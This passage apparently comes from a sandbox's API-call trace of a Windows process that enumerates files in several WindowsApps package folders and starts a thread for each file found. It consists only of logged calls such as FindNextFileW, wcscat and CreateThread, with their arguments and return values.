	[0076.772] wcscpy (in: _Dest=0x4782c38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe"
	[0076.772] wcscat (in: _Dest=0x4782c38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.772] wcscat (in: _Dest=0x4782c38, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db91d0
	[0076.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa041d8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad138
	[0078.769] wcscmp (_String1=".", _String2=".") returned 0
	[0078.769] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa041d8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.769] wcscmp (_String1="..", _String2=".") returned 1
	[0078.769] wcscmp (_String1="..", _String2="..") returned 0
	[0078.769] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf5cafa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf5cafa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf5cafa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.769] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.769] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477e570
	[0078.769] wcscpy (in: _Dest=0x477e570, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe"
	[0078.769] wcscat (in: _Dest=0x477e570, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.769] wcscat (in: _Dest=0x477e570, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898
	[0078.976] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa04335f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdf3689c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.976] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.976] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12e18
	[0078.976] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe"
	[0078.976] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.976] wcscat (in: _Dest=0x2e12e18, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e12e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60
	[0078.977] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf5cafa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf5cafa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf5cafa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.977] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.977] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.977] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768628
	[0078.977] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe"
	[0078.977] wcscat (in: _Dest=0x4768628, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.977] wcscat (in: _Dest=0x4768628, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64
	[0078.978] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.978] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.978] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47cc140
	[0078.978] wcscpy (in: _Dest=0x47cc140, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe"
	[0078.978] wcscat (in: _Dest=0x47cc140, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.978] wcscat (in: _Dest=0x47cc140, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cc140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf68
	[0078.979] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2db91d0 | out: lpFindFileData=0x2db91d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.979] FindClose (in: hFindFile=0x2dad138 | out: hFindFile=0x2dad138) returned 1
	[0078.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db91d0) returned 1
	[0078.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782c38) returned 1
	[0078.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1

Thread:
	id = 252
	os_tid = 0x11c4

	[0076.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7da70
	[0076.773] wcscpy (in: _Dest=0x2d7da70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0076.773] wcscat (in: _Dest=0x2d7da70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.773] wcscat (in: _Dest=0x2d7da70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db9438
	[0076.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa095f16, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad178
	[0078.770] wcscmp (_String1=".", _String2=".") returned 0
	[0078.770] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa095f16, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.770] wcscmp (_String1="..", _String2=".") returned 1
	[0078.770] wcscmp (_String1="..", _String2="..") returned 0
	[0078.770] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.770] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.770] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c7b8
	[0078.770] wcscpy (in: _Dest=0x477c7b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.770] wcscat (in: _Dest=0x477c7b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.770] wcscat (in: _Dest=0x477c7b8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c7b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894
	[0078.971] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa096b21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.971] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.971] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e9020
	[0078.971] wcscpy (in: _Dest=0x47e9020, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.971] wcscat (in: _Dest=0x47e9020, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.971] wcscat (in: _Dest=0x47e9020, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf54
	[0078.972] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.972] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.972] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12d40
	[0078.972] wcscpy (in: _Dest=0x2e12d40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.972] wcscat (in: _Dest=0x2e12d40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.972] wcscat (in: _Dest=0x2e12d40, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e12d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf58
	[0078.973] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.973] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.973] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4751f78
	[0078.973] wcscpy (in: _Dest=0x4751f78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.973] wcscat (in: _Dest=0x4751f78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.973] wcscat (in: _Dest=0x4751f78, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4751f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c
	[0078.974] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2db9438 | out: lpFindFileData=0x2db9438*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.974] FindClose (in: hFindFile=0x2dad178 | out: hFindFile=0x2dad178) returned 1
	[0078.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db9438) returned 1
	[0078.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7da70) returned 1
	[0078.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d1d0) returned 1

Thread:
	id = 253
	os_tid = 0xff8

	[0076.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d612c0
	[0076.774] wcscpy (in: _Dest=0x2d612c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0076.774] wcscat (in: _Dest=0x2d612c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0076.774] wcscat (in: _Dest=0x2d612c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\*"
	[0076.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db7758
	[0076.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa097cbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71240
	[0076.775] wcscmp (_String1=".", _String2=".") returned 0
	[0076.775] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa097cbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.736] wcscmp (_String1="..", _String2=".") returned 1
	[0077.736] wcscmp (_String1="..", _String2="..") returned 0
	[0077.736] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x7509, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.736] wcscmp (_String1="AppConfiguration.xml", _String2=".") returned 1
	[0077.736] wcscmp (_String1="AppConfiguration.xml", _String2="..") returned 1
	[0077.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477d388
